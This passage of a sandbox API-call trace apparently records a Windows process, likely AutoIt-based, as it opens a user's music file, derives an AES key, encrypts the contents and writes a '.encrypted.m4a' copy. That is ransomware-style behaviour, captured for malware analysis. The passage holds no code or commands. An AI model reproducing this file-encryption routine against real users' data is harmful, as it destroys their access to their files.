hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.638] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.638] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.638] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.638] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.638] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.638] CryptDeriveKey (in: hProv=0xe8f40633c0, Algid=0x660e, hBaseData=0xe8f4062b10, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40625d0) returned 1 [0026.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.638] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.638] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.638] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.638] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.638] CryptDestroyHash (hHash=0xe8f4062b10) returned 1 [0026.639] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.640] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.640] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.640] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.640] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.640] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\1ahiRTuHYORQs.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\1ahirtuhyorqs.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.640] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.640] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.640] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.640] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.640] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.641] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\" (normalized: "c:\\users\\5jghkoaofdp\\music")) returned 0x11 [0026.641] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\1ahiRTuHYORQs.encrypted.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\1ahirtuhyorqs.encrypted.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.641] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.641] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.641] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.641] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.642] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.643] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0026.644] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x908, lpOverlapped=0x0) returned 1 [0026.644] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0026.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.647] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.647] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.647] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.650] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.650] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.650] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.650] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.650] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.650] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.650] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.650] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.651] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.651] CryptGetKeyParam (in: hKey=0xe8f40625d0, dwParam=0x7, pbData=0xe8f4064cd0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064cd0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.651] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.651] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.651] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.651] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.651] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.651] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.651] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.651] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.651] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.651] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.651] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.651] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.652] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.652] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.652] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.652] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.652] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.652] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.652] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.652] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.652] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10908, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10910) returned 1 [0026.652] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.652] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.652] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.652] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.652] CharLowerBuffW (in: lpsz="byte[67857]", cchLength=0xb | out: lpsz="byte[67857]") returned 0xb [0026.652] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.654] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.654] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.654] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.654] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.655] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43abb60*, pdwDataLen=0xe8f3dfdf68*=0x10908, dwBufLen=0x10910 | out: pbData=0xe8f43abb60*, pdwDataLen=0xe8f3dfdf68*=0x10910) returned 1 [0026.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.655] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.655] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.655] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.655] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.655] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.655] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.655] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.655] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.655] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.655] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.659] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.659] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.659] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.661] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.661] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.661] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.661] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.661] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.662] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.662] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.662] CryptDestroyKey (hKey=0xe8f40625d0) returned 1 [0026.662] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.662] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.663] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.663] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.663] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.663] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.663] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.663] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.663] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.663] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.663] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 